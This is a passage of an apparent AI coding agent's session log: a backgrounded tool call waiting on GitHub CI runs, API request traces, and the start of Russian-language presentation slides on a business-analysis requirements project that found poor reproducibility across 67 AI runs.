[INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:22.884Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:22.884Z] [INFO]   },\n[2026-09-29T08:03:22.884Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:22.884Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"uuid\": \"ecd34f7b-ce88-4c87-895a-16e2302e5468\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:22.435Z\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"request_id\": \"req_011CfXP87dMGdLHDgzdqPwwP\"\n[2026-09-29T08:03:22.884Z] [INFO] }\n[2026-09-29T08:03:24.128Z] [INFO] {\n[2026-09-29T08:03:24.128Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"message\": {\n[2026-09-29T08:03:24.128Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"id\": \"msg_011CfXP8849z3Ne1reLowsx3\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:24.128Z] [INFO]     \"content\": [\n[2026-09-29T08:03:24.128Z] [INFO]       {\n[2026-09-29T08:03:24.128Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:24.128Z] [INFO]         \"id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:03:24.128Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:24.128Z] [INFO]         \"input\": {\n[2026-09-29T08:03:24.128Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run watch 36540232170 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci1.log 2>&1; echo \\\"run1 $?\\\"; gh run watch 36540227890 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci2.log 2>&1; echo \\\"run2 $?\\\"\",\n[2026-09-29T08:03:24.128Z] [INFO]           \"description\": \"Wait for CI runs to finish\",\n[2026-09-29T08:03:24.128Z] [INFO]           \"run_in_background\": true\n[2026-09-29T08:03:24.128Z] [INFO]         },\n[2026-09-29T08:03:24.128Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:24.128Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:24.128Z] [INFO]         }\n[2026-09-29T08:03:24.128Z] [INFO]       }\n[2026-09-29T08:03:24.128Z] [INFO]     ],\n[2026-09-29T08:03:24.128Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:24.128Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:24.128Z] [INFO]       \"cache_creation_input_tokens\": 663,\n[2026-09-29T08:03:24.128Z] [INFO]       \"cache_read_input_tokens\": 90630,\n[2026-09-29T08:03:24.128Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:24.128Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:24.128Z] [INFO]         \"ephemeral_1h_input_tokens\": 663\n[2026-09-29T08:03:24.128Z] [INFO]       },\n[2026-09-29T08:03:24.128Z] [INFO]       \"output_tokens\": 56,\n[2026-09-29T08:03:24.128Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:24.128Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:24.128Z] [INFO]     },\n[2026-09-29T08:03:24.128Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:24.128Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:24.128Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:24.128Z] [INFO]   },\n[2026-09-29T08:03:24.128Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:24.128Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"uuid\": \"e157b02a-9180-4a9f-a13d-bcce0cdd2f12\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:24.117Z\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"request_id\": \"req_011CfXP87dMGdLHDgzdqPwwP\",\n[2026-09-29T08:03:24.128Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:24.128Z] [INFO]     \"toolu_01RZvV1fFAQtxQYzHHyPnspK\": {\n[2026-09-29T08:03:24.128Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run watch 36540232170 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci1.log 2>&1; echo \\\"run1 $?\\\"; gh run watch 36540227890 --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/tmp/ci2.log 2>&1; echo \\\"run2 $?\\\"\",\n[2026-09-29T08:03:24.128Z] [INFO]       \"description\": \"Wait for CI runs to finish\",\n[2026-09-29T08:03:24.128Z] [INFO]       \"run_in_background\": true\n[2026-09-29T08:03:24.128Z] [INFO]     }\n[2026-09-29T08:03:24.128Z] [INFO]   }\n[2026-09-29T08:03:24.128Z] [INFO] }\n[2026-09-29T08:03:24.207Z] [INFO] {\n[2026-09-29T08:03:24.207Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:24.207Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:03:24.207Z] [INFO]   \"tasks\": [\n[2026-09-29T08:03:24.207Z] [INFO]     {\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_id\": \"bciyyo5i9\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"description\": \"Install package deps and rerun execution-package test\"\n[2026-09-29T08:03:24.207Z] [INFO]     },\n[2026-09-29T08:03:24.207Z] [INFO]     {\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:03:24.207Z] [INFO]       \"description\": \"Wait for CI runs to finish\"\n[2026-09-29T08:03:24.207Z] [INFO]     }\n[2026-09-29T08:03:24.207Z] [INFO]   ],\n[2026-09-29T08:03:24.207Z] [INFO]   \"uuid\": \"ff947f2c-d9bc-4529-b9be-5d0de3a33421\",\n[2026-09-29T08:03:24.207Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:24.207Z] [INFO] }\n[2026-09-29T08:03:24.216Z] [INFO] {\n[2026-09-29T08:03:24.216Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"tool_use_id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"description\": \"Wait for CI runs to finish\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T08:03:24.216Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"uuid\": \"d81fdf87-d5fc-4125-8b62-ca9f3d14ac07\",\n[2026-09-29T08:03:24.216Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:03:24.216Z] [INFO] }\n[2026-09-29T08:03:24.228Z] [INFO] {\n[2026-09-29T08:03:24.228Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"message\": {\n[2026-09-29T08:03:24.228Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"content\": [\n[2026-09-29T08:03:24.228Z] [INFO]       {\n[2026-09-29T08:03:24.228Z] [INFO]         \"tool_use_id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:03:24.228Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:24.228Z] [INFO]         \"content\": \"Command running in background with ID: bm13v5xu1. Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T08:03:24.228Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:24.228Z] [INFO]       }\n[2026-09-29T08:03:24.228Z] [INFO]     ]\n[2026-09-29T08:03:24.228Z] [INFO]   },\n[2026-09-29T08:03:24.228Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:24.228Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"uuid\": \"9c5615ac-5721-423b-9696-db6eb50852a8\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:24.222Z\",\n[2026-09-29T08:03:24.228Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:24.228Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:24.228Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:24.228Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:03:24.228Z] [INFO]     \"backgroundTaskId\": \"bm13v5xu1\",\n[2026-09-29T08:03:24.228Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T08:03:24.228Z] [INFO]   }\n[2026-09-29T08:03:24.228Z] [INFO] }\n[2026-09-29T08:03:24.265Z] [STDOUT] [log_8d2fee] sending request {\n[2026-09-29T08:03:24.271Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:24.273Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:24.275Z] [STDOUT]   options: {\n[2026-09-29T08:03:24.278Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:24.281Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:24.286Z] [STDOUT]     body: {\n[2026-09-29T08:03:24.288Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:24.295Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:24.299Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:24.307Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:24.311Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:24.317Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:24.323Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:24.327Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:24.339Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:24.343Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:24.347Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:24.352Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:24.357Z] [STDOUT]     },\n[2026-09-29T08:03:24.361Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:24.368Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:24.370Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:24.375Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:24.379Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:24.381Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:24.384Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:24.387Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:24.390Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:24.394Z] [STDOUT]     },\n[2026-09-29T08:03:24.398Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:24.401Z] [STDOUT]   },\n[2026-09-29T08:03:24.408Z] [STDOUT]   headers: {\n[2026-09-29T08:03:24.412Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:24.418Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:24.427Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:24.438Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:24.443Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:24.448Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:24.451Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:24.458Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:24.543Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:24.549Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:24.554Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:24.559Z] [STDOUT]   },\n[2026-09-29T08:03:24.564Z] [STDOUT] }\n[2026-09-29T08:03:25.529Z] [STDOUT] [log_8d2fee, request-id: \"req_011CfXP8LDPmS8rEKUhcyGBq\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1259ms\n[2026-09-29T08:03:25.544Z] [STDOUT] [log_8d2fee] response start {\n[2026-09-29T08:03:25.547Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:25.553Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:25.558Z] [STDOUT]   headers: {\n[2026-09-29T08:03:25.566Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:25.571Z] [STDOUT]     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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:25.846Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:25.848Z] [STDOUT]   body: X {\n[2026-09-29T08:03:25.850Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:25.854Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:25.856Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:25.859Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:25.861Z] [STDOUT]     },\n[2026-09-29T08:03:25.864Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:25.867Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:25.870Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:25.873Z] [STDOUT]   },\n[2026-09-29T08:03:25.876Z] [STDOUT]   durationMs: 1260,\n[2026-09-29T08:03:25.878Z] [STDOUT] }\n[2026-09-29T08:03:25.881Z] [INFO] {\n[2026-09-29T08:03:25.881Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:25.881Z] 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\u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 